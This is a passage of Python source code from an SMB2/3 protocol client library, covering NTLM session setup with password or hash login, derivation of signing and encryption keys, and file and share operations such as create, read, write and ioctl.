SMB2_DIALECT_30 and self._Connection['SupportsEncryption'] is True:\n                # Encryption available. Let's enforce it if we have AES CCM available\n                self._Session['SessionFlags'] |= SMB2_SESSION_FLAG_ENCRYPT_DATA\n                # Application Key\n                # If Connection.Dialect is \"3.1.1\",the case-sensitive ASCII string \"SMBAppKey\" as the label;\n                # otherwise, the case-sensitive ASCII string \"SMB2APP\" as the label. Session.PreauthIntegrityHashValue\n                # as the context; otherwise, the case-sensitive ASCII string \"SmbRpc\" as context for the algorithm.\n                # Encryption Key\n                # If Connection.Dialect is \"3.1.1\",the case-sensitive ASCII string \"SMBC2SCipherKey\" as # the label;\n                # otherwise, the case-sensitive ASCII string \"SMB2AESCCM\" as the label. Session.PreauthIntegrityHashValue\n                # as the context; otherwise, the case-sensitive ASCII string \"ServerIn \" as context for the algorithm\n                # (note the blank space at the end)\n                # Decryption Key\n                # If Connection.Dialect is \"3.1.1\", the case-sensitive ASCII string \"SMBS2CCipherKey\" as the label;\n                # otherwise, the case-sensitive ASCII string \"SMB2AESCCM\" as the label. Session.PreauthIntegrityHashValue\n                # as the context; otherwise, the case-sensitive ASCII string \"ServerOut\" as context for the algorithm.\n                if self._Connection['Dialect'] == SMB2_DIALECT_311:\n                    self._Session['ApplicationKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b\"SMBAppKey\\x00\",\n                                                                              self._Session['PreauthIntegrityHashValue'], 128)\n                    self._Session['EncryptionKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b\"SMBC2SCipherKey\\x00\",\n                                                                             self._Session['PreauthIntegrityHashValue'], 128)\n                    self._Session['DecryptionKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b\"SMBS2CCipherKey\\x00\",\n                                                                             self._Session['PreauthIntegrityHashValue'], 128)\n                else:\n                    self._Session['ApplicationKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b\"SMB2APP\\x00\",\n                                                                              b\"SmbRpc\\x00\", 128)\n                    self._Session['EncryptionKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b\"SMB2AESCCM\\x00\",\n                                                                             b\"ServerIn \\x00\", 128)\n                    self._Session['DecryptionKey'] = crypto.KDF_CounterMode (self._Session['SessionKey'], b\"SMB2AESCCM\\x00\",\n                                                                             b\"ServerOut\\x00\", 128)\n\n            self._Session['CalculatePreAuthHash'] = False\n            return True\n        else:\n            # We clean the stuff we used in case we want to authenticate again\n            # within the same connection\n            self._Session['UserCredentials']   = ''\n            self._Session['Connection']        = 0\n            self._Session['SessionID']         = 0\n            self._Session['SigningRequired']   = False\n            self._Session['SigningKey']        = ''\n            self._Session['SessionKey']        = ''\n            self._Session['SigningActivated']  = False\n            self._Session['CalculatePreAuthHash'] = False\n            self._Session['PreauthIntegrityHashValue'] = a2b_hex(b'0'*128)\n            raise Exception('Unsuccessful Login')\n\n\n    def login(self, user, password, domain = '', lmhash = '', nthash = ''):\n        # If we have hashes, normalize them\n        if lmhash != '' or nthash != '':\n            if len(lmhash) % 2:     lmhash = '0%s' % lmhash\n            if len(nthash) % 2:     nthash = '0%s' % nthash\n            try: # just in case they were converted already\n                lmhash = a2b_hex(lmhash)\n                nthash = a2b_hex(nthash)\n            except:\n                pass\n\n        self.__userName = user\n        self.__password = password\n        self.__domain   = domain\n        self.__lmhash   = lmhash\n        self.__nthash   = nthash\n        self.__aesKey   = ''\n        self.__TGT      = None\n        self.__TGS      = None\n\n        sessionSetup = SMB2SessionSetup()\n        if self.RequireMessageSigning is True:\n           sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_REQUIRED\n        else:\n           sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED\n\n        sessionSetup['Flags'] = 0\n        #sessionSetup['Capabilities'] = SMB2_GLOBAL_CAP_LARGE_MTU | SMB2_GLOBAL_CAP_LEASING | SMB2_GLOBAL_CAP_DFS\n\n        # Let's build a NegTokenInit with the NTLMSSP\n        # TODO: In the future we should be able to choose different providers\n\n        blob = SPNEGO_NegTokenInit()\n\n        # NTLMSSP\n        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]\n        auth = ntlm.getNTLMSSPType1(self._Connection['ClientName'],domain, self._Connection['RequireSigning'])\n        blob['MechToken'] = auth.getData()\n\n        sessionSetup['SecurityBufferLength'] = len(blob)\n        sessionSetup['Buffer']               = blob.getData()\n\n        # ToDo:\n        # If this authentication is for establishing an alternative channel for an existing Session, as specified\n        # in section 3.2.4.1.7, the client MUST also set the following values:\n        # The SessionId field in the SMB2 header MUST be set to the Session.SessionId for the new\n        # channel being established.\n        # The SMB2_SESSION_FLAG_BINDING bit MUST be set in the Flags field.\n        # The PreviousSessionId field MUST be set to zero.\n\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_SESSION_SETUP\n        packet['Data']    = sessionSetup\n\n        # Initiate session preauth hash\n        self._Session['PreauthIntegrityHashValue'] = self._Connection['PreauthIntegrityHashValue']\n\n        packetID = self.sendSMB(packet)\n        ans = self.recvSMB(packetID)\n        if self._Connection['Dialect'] == SMB2_DIALECT_311:\n            self.__UpdatePreAuthHash (ans.rawData)\n\n        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):\n            self._Session['SessionID']       = ans['SessionID']\n            self._Session['SigningRequired'] = self._Connection['RequireSigning']\n            self._Session['UserCredentials'] = (user, password, domain, lmhash, nthash)\n            self._Session['Connection']      = self._NetBIOSSession.get_socket()\n            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])\n            respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])\n\n            # Let's parse some data and keep it to ourselves in case it is asked\n            ntlmChallenge = ntlm.NTLMAuthChallenge(respToken['ResponseToken'])\n            if ntlmChallenge['TargetInfoFields_len'] > 0:\n                av_pairs = ntlm.AV_PAIRS(ntlmChallenge['TargetInfoFields'][:ntlmChallenge['TargetInfoFields_len']])\n                if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:\n                   try:\n                       self._Session['ServerName'] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')\n                   except:\n                       # For some reason, we couldn't decode Unicode here.. silently discard the operation\n                       pass\n                if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None:\n                   try:\n                       if self._Session['ServerName'] != av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le'):\n                           self._Session['ServerDomain'] = av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le')\n                   except:\n                       # For some reason, we couldn't decode Unicode here.. silently discard the operation\n                       pass\n                if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:\n                   try:\n                       self._Session['ServerDNSDomainName'] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le')\n                   except:\n                       # For some reason, we couldn't decode Unicode here.. silently discard the operation\n                       pass\n\n                if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:\n                   try:\n                       self._Session['ServerDNSHostName'] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode('utf-16le')\n                   except:\n                       # For some reason, we couldn't decode Unicode here.. silently discard the operation\n                       pass\n\n                if self._strict_hostname_validation:\n                    self.perform_hostname_validation()\n\n                # Parse Version to know the target Operating system name. Not provided elsewhere anymore\n                if 'Version' in ntlmChallenge.fields:\n                    version = ntlmChallenge['Version']\n\n                    if len(version) >= 4:\n                        if struct.unpack('<H',version[2:4])[0] in WIN_VERSIONS.keys():\n                            self._Session['ServerOS'] = WIN_VERSIONS[struct.unpack('<H',version[2:4])[0]] + \" Build %d\" % struct.unpack('<H',version[2:4])[0]\n                        else:\n                            self._Session['ServerOS'] = \"Windows %d.%d Build %d\" % (indexbytes(version,0), indexbytes(version,1), struct.unpack('<H',version[2:4])[0])\n                        self._Session[\"ServerOSMajor\"] = indexbytes(version,0)\n                        self._Session[\"ServerOSMinor\"] = indexbytes(version,1)\n                        self._Session[\"ServerOSBuild\"] = struct.unpack('<H',version[2:4])[0]\n\n            type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, respToken['ResponseToken'], user, password, domain, lmhash, nthash)\n\n            respToken2 = SPNEGO_NegTokenResp()\n            respToken2['ResponseToken'] = type3.getData()\n\n            # Reusing the previous structure\n            sessionSetup['SecurityBufferLength'] = len(respToken2)\n            sessionSetup['Buffer']               = respToken2.getData()\n\n            packetID = self.sendSMB(packet)\n            packet = self.recvSMB(packetID)\n\n            # Let's calculate Key Materials before moving on\n            if exportedSessionKey is not None:\n                self._Session['SessionKey']  = exportedSessionKey\n                if self._Session['SigningRequired'] is True and self._Connection['Dialect'] >= SMB2_DIALECT_30:\n                    # If Connection.Dialect is \"3.1.1\", the case-sensitive ASCII string \"SMBSigningKey\" as the label;\n                    # otherwise, the case - sensitive ASCII string \"SMB2AESCMAC\" as the label.\n                    # If Connection.Dialect is \"3.1.1\", Session.PreauthIntegrityHashValue as the context; otherwise,\n                    # the case-sensitive ASCII string \"SmbSign\" as context for the algorithm.\n                    if self._Connection['Dialect'] == SMB2_DIALECT_311:\n                        self._Session['SigningKey'] = crypto.KDF_CounterMode (exportedSessionKey,\n                                                                              b\"SMBSigningKey\\x00\",\n                                                                              self._Session['PreauthIntegrityHashValue'],\n                                                                              128)\n                    else:\n                        self._Session['SigningKey'] = crypto.KDF_CounterMode (exportedSessionKey, b\"SMB2AESCMAC\\x00\",\n                                                                              b\"SmbSign\\x00\", 128)\n            try:\n                if packet.isValidAnswer(STATUS_SUCCESS):\n                    sessionSetupResponse = SMB2SessionSetup_Response(packet['Data'])\n                    self._Session['SessionFlags'] = sessionSetupResponse['SessionFlags']\n                    self._Session['SessionID']    = packet['SessionID']\n\n                    # Do not encrypt anonymous connections\n                    if user == '' or self.isGuestSession():\n                        self._Connection['SupportsEncryption'] = False\n\n                    # Calculate the key derivations for dialect 3.0\n                    if self._Session['SigningRequired'] is True:\n                        self._Session['SigningActivated'] = True\n                    if self._Connection['Dialect'] >= SMB2_DIALECT_30 and self._Connection['SupportsEncryption'] is True:\n                        # SMB 3.0. Encryption available. Let's enforce it if we have AES CCM available\n                        self._Session['SessionFlags'] |= SMB2_SESSION_FLAG_ENCRYPT_DATA\n                        # Application Key\n                        # If Connection.Dialect is \"3.1.1\",the case-sensitive ASCII string \"SMBAppKey\" as the label;\n                        # otherwise, the case-sensitive ASCII string \"SMB2APP\" as the label. Session.PreauthIntegrityHashValue\n                        # as the context; otherwise, the case-sensitive ASCII string \"SmbRpc\" as context for the algorithm.\n                        # Encryption Key\n                        # If Connection.Dialect is \"3.1.1\",the case-sensitive ASCII string \"SMBC2SCipherKey\" as # the label;\n                        # otherwise, the case-sensitive ASCII string \"SMB2AESCCM\" as the label. Session.PreauthIntegrityHashValue\n                        # as the context; otherwise, the case-sensitive ASCII string \"ServerIn \" as context for the algorithm\n                        # (note the blank space at the end)\n                        # Decryption Key\n                        # If Connection.Dialect is \"3.1.1\", the case-sensitive ASCII string \"SMBS2CCipherKey\" as the label;\n                        # otherwise, the case-sensitive ASCII string \"SMB2AESCCM\" as the label. Session.PreauthIntegrityHashValue\n                        # as the context; otherwise, the case-sensitive ASCII string \"ServerOut\" as context for the algorithm.\n                        if self._Connection['Dialect'] == SMB2_DIALECT_311:\n                            self._Session['ApplicationKey']  = crypto.KDF_CounterMode(exportedSessionKey, b\"SMBAppKey\\x00\",\n                                                                             self._Session['PreauthIntegrityHashValue'], 128)\n                            self._Session['EncryptionKey']   = crypto.KDF_CounterMode(exportedSessionKey, b\"SMBC2SCipherKey\\x00\",\n                                                                             self._Session['PreauthIntegrityHashValue'], 128)\n                            self._Session['DecryptionKey'] = crypto.KDF_CounterMode (exportedSessionKey, b\"SMBS2CCipherKey\\x00\",\n                                                                             self._Session['PreauthIntegrityHashValue'], 128)\n\n                        else:\n                            self._Session['ApplicationKey'] = crypto.KDF_CounterMode (exportedSessionKey, b\"SMB2APP\\x00\",\n                                                                                      b\"SmbRpc\\x00\", 128)\n                            self._Session['EncryptionKey'] = crypto.KDF_CounterMode (exportedSessionKey, b\"SMB2AESCCM\\x00\",\n                                                                                     b\"ServerIn \\x00\", 128)\n                            self._Session['DecryptionKey'] = crypto.KDF_CounterMode (exportedSessionKey, b\"SMB2AESCCM\\x00\",\n                                                                                     b\"ServerOut\\x00\", 128)\n                    self._Session['CalculatePreAuthHash'] = False\n                    return True\n            except:\n                # We clean the stuff we used in case we want to authenticate again\n                # within the same connection\n                self._Session['UserCredentials']   = ''\n                self._Session['Connection']        = 0\n                self._Session['SessionID']         = 0\n                self._Session['SigningRequired']   = False\n                self._Session['SigningKey']        = ''\n                self._Session['SessionKey']        = ''\n                self._Session['SigningActivated']  = False\n                self._Session['CalculatePreAuthHash'] = False\n                self._Session['PreauthIntegrityHashValue'] = a2b_hex(b'0'*128)\n                raise\n\n    def connectTree(self, share):\n\n        # Just in case this came with the full path (maybe an SMB1 client), let's just leave\n        # the sharename, we'll take care of the rest\n\n        #print self._Session['TreeConnectTable']\n        share = share.split('\\\\')[-1]\n        if share in self._Session['TreeConnectTable']:\n            # Already connected, no need to reconnect\n            treeEntry =  self._Session['TreeConnectTable'][share]\n            treeEntry['NumberOfUses'] += 1\n            self._Session['TreeConnectTable'][treeEntry['TreeConnectId']]['NumberOfUses'] += 1\n            return treeEntry['TreeConnectId']\n\n        #path = share\n        try:\n            _, _, _, _, sockaddr = socket.getaddrinfo(self._Connection['ServerIP'], 80, 0, 0, socket.IPPROTO_TCP)[0]\n            remoteHost = sockaddr[0]\n        except:\n            remoteHost = self._Connection['ServerIP']\n        path = '\\\\\\\\' + remoteHost + '\\\\' +share\n\n        treeConnect = SMB2TreeConnect()\n        treeConnect['Buffer']     = path.encode('utf-16le')\n        treeConnect['PathLength'] = len(treeConnect['Buffer'])\n\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_TREE_CONNECT\n        packet['Data'] = treeConnect\n        packetID = self.sendSMB(packet)\n        packet = self.recvSMB(packetID)\n        if packet.isValidAnswer(STATUS_SUCCESS):\n           treeConnectResponse = SMB2TreeConnect_Response(packet['Data'])\n           treeEntry = copy.deepcopy(TREE_CONNECT)\n           treeEntry['ShareName']     = share\n           treeEntry['TreeConnectId'] = packet['TreeID']\n           treeEntry['Session']       = packet['SessionID']\n           treeEntry['NumberOfUses'] += 1\n           if (treeConnectResponse['Capabilities'] & SMB2_SHARE_CAP_DFS) == SMB2_SHARE_CAP_DFS:\n               treeEntry['IsDfsShare'] = True\n           if (treeConnectResponse['Capabilities'] & SMB2_SHARE_CAP_CONTINUOUS_AVAILABILITY) == SMB2_SHARE_CAP_CONTINUOUS_AVAILABILITY:\n               treeEntry['IsCAShare'] = True\n\n           if self._Connection['Dialect'] >= SMB2_DIALECT_30:\n               if (self._Connection['SupportsEncryption'] is True) and ((treeConnectResponse['ShareFlags'] & SMB2_SHAREFLAG_ENCRYPT_DATA) == SMB2_SHAREFLAG_ENCRYPT_DATA):\n                   treeEntry['EncryptData'] = True\n                   # ToDo: This and what follows\n                   # If Session.EncryptData is FALSE, the client MUST then generate an encryption key, a\n                   # decryption key as specified in section 3.1.4.2, by providing the following inputs and store\n                   # them in Session.EncryptionKey and Session.DecryptionKey:\n               if (treeConnectResponse['Capabilities'] & SMB2_SHARE_CAP_SCALEOUT) == SMB2_SHARE_CAP_SCALEOUT:\n                   treeEntry['IsScaleoutShare'] = True\n\n           self._Session['TreeConnectTable'][packet['TreeID']] = treeEntry\n           self._Session['TreeConnectTable'][share]            = treeEntry\n\n           return packet['TreeID']\n\n    def disconnectTree(self, treeId):\n        if (treeId in self._Session['TreeConnectTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n\n        if treeId in self._Session['TreeConnectTable']:\n            # More than 1 use? descrease it and return, if not, send the packet\n            if self._Session['TreeConnectTable'][treeId]['NumberOfUses'] > 1:\n                treeEntry =  self._Session['TreeConnectTable'][treeId]\n                treeEntry['NumberOfUses'] -= 1\n                self._Session['TreeConnectTable'][treeEntry['ShareName']]['NumberOfUses'] -= 1\n                return True\n\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_TREE_DISCONNECT\n        packet['TreeID'] = treeId\n        treeDisconnect = SMB2TreeDisconnect()\n        packet['Data'] = treeDisconnect\n        packetID = self.sendSMB(packet)\n        packet = self.recvSMB(packetID)\n        if packet.isValidAnswer(STATUS_SUCCESS):\n            shareName = self._Session['TreeConnectTable'][treeId]['ShareName']\n            del(self._Session['TreeConnectTable'][shareName])\n            del(self._Session['TreeConnectTable'][treeId])\n            filesIDToBeRemoved = []\n            for fileID in list(self._Session['OpenTable'].keys()):\n                if self._Session['OpenTable'][fileID]['TreeConnect'] == treeId:\n                    filesIDToBeRemoved.append(fileID)\n            for fileIDToBeRemoved in filesIDToBeRemoved:\n                del(self._Session['OpenTable'][fileIDToBeRemoved])\n            return True\n\n    def create(self, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, impersonationLevel = SMB2_IL_IMPERSONATION, securityFlags = 0, oplockLevel = SMB2_OPLOCK_LEVEL_NONE, createContexts = None):\n        if (treeId in self._Session['TreeConnectTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n\n        fileName = fileName.replace('/', '\\\\')\n        if len(fileName) > 0:\n            fileName = ntpath.normpath(fileName)\n            if fileName[0] == '\\\\':\n                fileName = fileName[1:]\n\n        if self._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:\n            pathName = fileName\n        else:\n            pathName = '\\\\\\\\' + self._Connection['ServerName'] + '\\\\' + fileName\n\n        fileEntry = copy.deepcopy(FILE)\n        fileEntry['LeaseKey']   = uuid.generate()\n        fileEntry['LeaseState'] = SMB2_LEASE_NONE\n        self.GlobalFileTable[pathName] = fileEntry\n\n        if self._Connection['Dialect'] >= SMB2_DIALECT_30 and self._Connection['SupportsDirectoryLeasing'] is True:\n           # Is this file NOT on the root directory?\n           if len(fileName.split('\\\\')) > 2:\n               parentDir = ntpath.dirname(pathName)\n           if parentDir in self.GlobalFileTable:\n               raise Exception(\"Don't know what to do now! :-o\")\n           else:\n               parentEntry = copy.deepcopy(FILE)\n               parentEntry['LeaseKey']   = uuid.generate()\n               parentEntry['LeaseState'] = SMB2_LEASE_NONE\n               self.GlobalFileTable[parentDir] = parentEntry\n\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_CREATE\n        packet['TreeID']  = treeId\n        if self._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:\n            packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS\n\n        smb2Create = SMB2Create()\n        smb2Create['SecurityFlags']        = 0\n        smb2Create['RequestedOplockLevel'] = oplockLevel\n        smb2Create['ImpersonationLevel']   = impersonationLevel\n        smb2Create['DesiredAccess']        = desiredAccess\n        smb2Create['FileAttributes']       = fileAttributes\n        smb2Create['ShareAccess']          = shareMode\n        smb2Create['CreateDisposition']    = creationDisposition\n        smb2Create['CreateOptions']        = creationOptions\n\n        smb2Create['NameLength']           = len(fileName.encode('utf-16le'))\n        if fileName != '':\n            smb2Create['Buffer']           = fileName.encode('utf-16le')\n        else:\n            smb2Create['Buffer']           = b'\\x00'\n\n        if createContexts is not None:\n            contextsBuf = b''.join(x.getData() for x in createContexts)\n            smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + len(smb2Create['Buffer'])\n\n            # pad offset to 8-byte align\n            if (smb2Create['CreateContextsOffset'] % 8):\n                smb2Create['Buffer'] += b'\\x00'*(8-(smb2Create['CreateContextsOffset'] % 8))\n                smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + len(smb2Create['Buffer'])\n\n            smb2Create['CreateContextsLength'] = len(contextsBuf)\n            smb2Create['Buffer'] += contextsBuf\n        else:\n            smb2Create['CreateContextsOffset'] = 0\n            smb2Create['CreateContextsLength'] = 0\n\n        packet['Data'] = smb2Create\n\n        packetID = self.sendSMB(packet)\n        ans = self.recvSMB(packetID)\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            createResponse = SMB2Create_Response(ans['Data'])\n\n            openFile = copy.deepcopy(OPEN)\n            openFile['FileID']      = createResponse['FileID']\n            openFile['TreeConnect'] = treeId\n            openFile['Oplocklevel'] = oplockLevel\n            openFile['Durable']     = False\n            openFile['ResilientHandle']    = False\n            openFile['LastDisconnectTime'] = 0\n            openFile['FileName'] = pathName\n\n            # ToDo: Complete the OperationBuckets\n            if self._Connection['Dialect'] >= SMB2_DIALECT_30:\n                openFile['DesiredAccess']     = oplockLevel\n                openFile['ShareMode']         = oplockLevel\n                openFile['CreateOptions']     = oplockLevel\n                openFile['FileAttributes']    = oplockLevel\n                openFile['CreateDisposition'] = oplockLevel\n\n            # ToDo: Process the contexts\n            self._Session['OpenTable'][createResponse['FileID'].getData()] = openFile\n\n            # The client MUST generate a handle for the Open, and it MUST\n            # return success and the generated handle to the calling application.\n            # In our case, str(FileID)\n            return createResponse['FileID'].getData()\n\n    def close(self, treeId, fileId):\n        if (treeId in self._Session['TreeConnectTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n        if (fileId in self._Session['OpenTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_CLOSE\n        packet['TreeID']  = treeId\n\n        smbClose = SMB2Close()\n        smbClose['Flags']  = 0\n        smbClose['FileID'] = fileId\n\n        packet['Data'] = smbClose\n\n        packetID = self.sendSMB(packet)\n        ans = self.recvSMB(packetID)\n\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            del(self.GlobalFileTable[self._Session['OpenTable'][fileId]['FileName']])\n            del(self._Session['OpenTable'][fileId])\n\n            # ToDo Remove stuff from GlobalFileTable\n            return True\n\n    def read(self, treeId, fileId, offset = 0, bytesToRead = 0, waitAnswer = True):\n        # IMPORTANT NOTE: As you can see, this was coded as a recursive function\n        # Hence, you can exhaust the memory pretty easy ( large bytesToRead )\n        # This function should NOT be used for reading files directly, but another higher\n        # level function should be used that will break the read into smaller pieces\n\n        if (treeId in self._Session['TreeConnectTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n        if (fileId in self._Session['OpenTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_READ\n        packet['TreeID']  = treeId\n\n        if self._Connection['MaxReadSize'] < bytesToRead:\n            maxBytesToRead = self._Connection['MaxReadSize']\n        else:\n            maxBytesToRead = bytesToRead\n\n        if self._Connection['Dialect'] != SMB2_DIALECT_002 and self._Connection['SupportsMultiCredit'] is True:\n            packet['CreditCharge'] = ( 1 + (maxBytesToRead - 1) // 65536)\n        else:\n            maxBytesToRead = min(65536,bytesToRead)\n\n        smbRead = SMB2Read()\n        smbRead['Padding']  = 0x50\n        smbRead['FileID']   = fileId\n        smbRead['Length']   = maxBytesToRead\n        smbRead['Offset']   = offset\n        packet['Data'] = smbRead\n\n        packetID = self.sendSMB(packet)\n        ans = self.recvSMB(packetID)\n\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            readResponse = SMB2Read_Response(ans['Data'])\n            retData = readResponse['Buffer']\n            if readResponse['DataRemaining'] > 0:\n                retData += self.read(treeId, fileId, offset+len(retData), readResponse['DataRemaining'], waitAnswer)\n            return retData\n\n    def write(self, treeId, fileId, data, offset = 0, bytesToWrite = 0, waitAnswer = True):\n        # IMPORTANT NOTE: As you can see, this was coded as a recursive function\n        # Hence, you can exhaust the memory pretty easy ( large bytesToWrite )\n        # This function should NOT be used for writing directly to files, but another higher\n        # level function should be used that will break the writes into smaller pieces\n\n        if (treeId in self._Session['TreeConnectTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n        if (fileId in self._Session['OpenTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_WRITE\n        packet['TreeID']  = treeId\n\n        if self._Connection['MaxWriteSize'] < bytesToWrite:\n            maxBytesToWrite = self._Connection['MaxWriteSize']\n        else:\n            maxBytesToWrite = bytesToWrite\n\n        if self._Connection['Dialect'] != SMB2_DIALECT_002 and self._Connection['SupportsMultiCredit'] is True:\n            packet['CreditCharge'] = ( 1 + (maxBytesToWrite - 1) // 65536)\n        else:\n            maxBytesToWrite = min(65536,bytesToWrite)\n\n        smbWrite = SMB2Write()\n        smbWrite['FileID'] = fileId\n        smbWrite['Length'] = maxBytesToWrite\n        smbWrite['Offset'] = offset\n        smbWrite['WriteChannelInfoOffset'] = 0\n        smbWrite['Buffer'] = data[:maxBytesToWrite]\n        packet['Data'] = smbWrite\n\n        packetID = self.sendSMB(packet)\n        if waitAnswer is True:\n            ans = self.recvSMB(packetID)\n        else:\n            return maxBytesToWrite\n\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            writeResponse = SMB2Write_Response(ans['Data'])\n            bytesWritten = writeResponse['Count']\n            if bytesWritten < bytesToWrite:\n                bytesWritten += self.write(treeId, fileId, data[bytesWritten:], offset+bytesWritten, bytesToWrite-bytesWritten, waitAnswer)\n            return bytesWritten\n\n    def queryDirectory(self, treeId, fileId, searchString = '*', resumeIndex = 0, informationClass = FILENAMES_INFORMATION, maxBufferSize = None, enumRestart = False, singleEntry = False):\n        if (treeId in self._Session['TreeConnectTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n        if (fileId in self._Session['OpenTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_QUERY_DIRECTORY\n        packet['TreeID']  = treeId\n\n        queryDirectory = SMB2QueryDirectory()\n        queryDirectory['FileInformationClass'] = informationClass\n        if resumeIndex != 0 :\n            queryDirectory['Flags'] = SMB2_INDEX_SPECIFIED\n        queryDirectory['FileIndex'] = resumeIndex\n        queryDirectory['FileID']    = fileId\n        if maxBufferSize is None:\n            maxBufferSize = self._Connection['MaxReadSize']\n        queryDirectory['OutputBufferLength'] = maxBufferSize\n        queryDirectory['Buffer']             = searchString.encode('utf-16le')\n        queryDirectory['FileNameLength']     = len(queryDirectory['Buffer'])\n        \n\n        packet['Data'] = queryDirectory\n\n        if self._Connection['Dialect'] != SMB2_DIALECT_002 and self._Connection['SupportsMultiCredit'] is True:\n            packet['CreditCharge'] = ( 1 + (maxBufferSize - 1) // 65536)\n\n        packetID = self.sendSMB(packet)\n        ans = self.recvSMB(packetID)\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            queryDirectoryResponse = SMB2QueryDirectory_Response(ans['Data'])\n            return queryDirectoryResponse['Buffer']\n\n    def echo(self):\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_ECHO\n        smbEcho = SMB2Echo()\n        packet['Data'] = smbEcho\n        packetID = self.sendSMB(packet)\n        ans = self.recvSMB(packetID)\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            return True\n\n    def cancel(self, packetID):\n        packet = self.SMB_PACKET()\n        packet['Command']   = SMB2_CANCEL\n        packet['MessageID'] = packetID\n\n        smbCancel = SMB2Cancel()\n\n        packet['Data']      = smbCancel\n        self.sendSMB(packet)\n\n    def ioctl(self, treeId, fileId = None, ctlCode = -1, flags = 0, inputBlob = '',  maxInputResponse = None, maxOutputResponse = None, waitAnswer = 1):\n        if (treeId in self._Session['TreeConnectTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n        if fileId is None:\n            fileId = '\\xff'*16\n        else:\n            if (fileId in self._Session['OpenTable']) is False:\n                raise SessionError(STATUS_INVALID_PARAMETER)\n\n        packet = self.SMB_PACKET()\n        packet['Command']            = SMB2_IOCTL\n        packet['TreeID']             = treeId\n\n        smbIoctl = SMB2Ioctl()\n        smbIoctl['FileID']             = fileId\n        smbIoctl['CtlCode']            = ctlCode\n        smbIoctl['MaxInputResponse']   = maxInputResponse\n        smbIoctl['MaxOutputResponse']  = maxOutputResponse\n        smbIoctl['InputCount']         = len(inputBlob)\n        if len(inputBlob) == 0:\n            smbIoctl['InputOffset'] = 0\n            smbIoctl['Buffer']      = '\\x00'\n        else:\n            smbIoctl['Buffer']             = inputBlob\n        smbIoctl['OutputOffset']       = 0\n        smbIoctl['MaxOutputResponse']  = maxOutputResponse\n        smbIoctl['Flags']              = flags\n\n        packet['Data'] = smbIoctl\n\n        packetID = self.sendSMB(packet)\n\n        if waitAnswer == 0:\n            return True\n\n        ans = self.recvSMB(packetID)\n\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            smbIoctlResponse = SMB2Ioctl_Response(ans['Data'])\n            return smbIoctlResponse['Buffer']\n\n    def flush(self,treeId, fileId):\n        if (treeId in self._Session['TreeConnectTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n        if (fileId in self._Session['OpenTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_FLUSH\n        packet['TreeID']  = treeId\n\n        smbFlush = SMB2Flush()\n        smbFlush['FileID'] = fileId\n\n        packet['Data'] = smbFlush\n\n        packetID = self.sendSMB(packet)\n        ans = self.recvSMB(packetID)\n\n        if ans.isValidAnswer(STATUS_SUCCESS):\n            return True\n\n    def lock(self, treeId, fileId, locks, lockSequence = 0):\n        if (treeId in self._Session['TreeConnectTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n        if (fileId in self._Session['OpenTable']) is False:\n            raise SessionError(STATUS_INVALID_PARAMETER)\n\n        packet = self.SMB_PACKET()\n        packet['Command'] = SMB2_LOCK\n        